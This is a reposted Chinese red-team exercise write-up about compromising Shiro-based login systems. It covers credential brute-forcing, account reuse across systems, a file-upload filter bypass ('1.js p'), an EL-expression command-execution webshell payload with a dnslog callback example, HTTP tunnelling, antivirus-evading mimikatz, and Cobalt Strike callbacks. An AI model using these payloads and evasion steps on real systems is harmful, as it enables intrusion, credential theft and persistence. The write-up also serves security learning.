某次小型红蓝,直接丢过来几个登陆框,定点打。
全部都是shiro框架。
都是Windows 2012系统
只有登陆框。
用户名密码,都是加密的。
查看网页源代码的时候,发现其中一个利用的DES-ECB的单层加密。可以看到key。(可以爆)
利用burp-Crypto插件,把key写进去,点击add即可
然后,爆破选择这个加密即可。
经过大量字典,发现目标用户名规则为名字全称
zhangsan/lisi
果断生成大量的字段。
爆破出几个用户名,打算访问的时候,提示没有应用权限。
我的超大字典,都没有爆破出一个有效的账号。
一上午毫无收获,陷入沉思。
只有登陆框/shiro框架/js读取/
目标不能扫描/不能打旁站等。
打工人还是先干饭。
干饭的时候,突然想起来。
竟然都是同一家,会不会账号也是通用的?
用上午在A系统登陆显示没有应用权限的账号,
去B系统/C系统/D系统登陆尝试。
果然。在B系统和C系统有账号可以登陆。
zhangsan账号登陆。直接寻找文件上传的地方。
1
压缩包上传/
可以上传,也有路径回显。但是不会自动解压,没有找到可以利用的点。
2. 文件导入功能。
进行尝试
返回包,包含网站绝对路径。
1.jpg 访问404
1.txt 访问404
1.jsp(绕过在后面) 访问404
等等
返回包都包含网站路径了,就是访问不到。
接下来尝试文件路径寻找。无果。
又没有思路了。
喝杯水,突然想起来是不是用户问题。
换一个账号wangwu进行登陆。
模块一样。
直接进行文件导入。
1.jpg 404
2.txt 404
突然感觉这个点要结束,无法上传。
想着试试jsp吧。
filename="1.js p"
js后面加一个空格即可
内容为:123
发现这个jsp竟然可以访问到。
1.访问404是账号权限问题
2.目标文件上传只有jsp能解析等才可以访问到。
尝试上传马。
发现目标对文件内容检查
检测内容为:
<不能直接跟内容
<jsp:scriptlet> 被拦截
< jsp:scriptlet> <加空格 可以上传成功,但是这貌似不符合语法,无法解析。
利用常用的脏字符(不多说)
发现有表哥谈论过jsp利用EL表达式绕过。
EL表达式内容为
${Runtime.getRuntime().exec(param.cmd)}
jsp的EL表达式是一种没有回显的,
这里先借助dnslog测试。
刚开始访问时500.一直以为是语法问题,百度也没有找到解决办法。
但是后来发现可以调用。
dnslog测试,成功收到
用法
http://localhost:8080/web_test/helloworld.jsp?cmd=ping 08zocw.dnslog.cn
目标是Windows系统。是否可以powershell直接上线呢
本地 测试,成功上线
cs本地可以上线,但是想到我们双方都是内网,无法直接cs上线,
利用脏字符上传马,之后无法连接。
解决办法
1.冰蝎3.3和哥斯拉都无法连接,这里采用冰蝎2。
2.连接时,需要带cookie才可以访问。但是目标cookie变化有点快。有时候存在突然中断,只能手动换cookie
1.因为这里双方都是内网的情况下,这里代理采用http协议reGeorg进行代理。
这里需要带cookie去访问
但是不知道为啥,过一会就直接中断,可能和cookie有关,未解决。
2.最终想起来冰蝎3自带的代理挺好用,但是冰蝎3.3无法连接马。
想:是不是新版本就可以了。
下载了最新的版本,发现可以连接。
利用冰蝎3自带的http协议代理成功。
发现目标存在火绒。
利用免杀minikatz读取目标hash。hash为空,无法登陆。
绕过火绒添加用户。
成功登陆。
如何上线
关闭目标火绒,cs上线也是曲折的,可能有别的软件。
1.利用免杀分离免杀上线。
2.powershell免杀上线。
在目标机器部署了cs。然后本地成功上线。(需要免杀)
总结
1.不同系统相同用户的用法。
2.不同用户对文件上传文件访问权限的不同。
3.文件上传后缀和内容的绕过
4.http隧道用法
5.绕过火绒的免杀(mimikazt/添加用户/上线免杀)
————————
作者:G0mini,转载于hack之道
热文推荐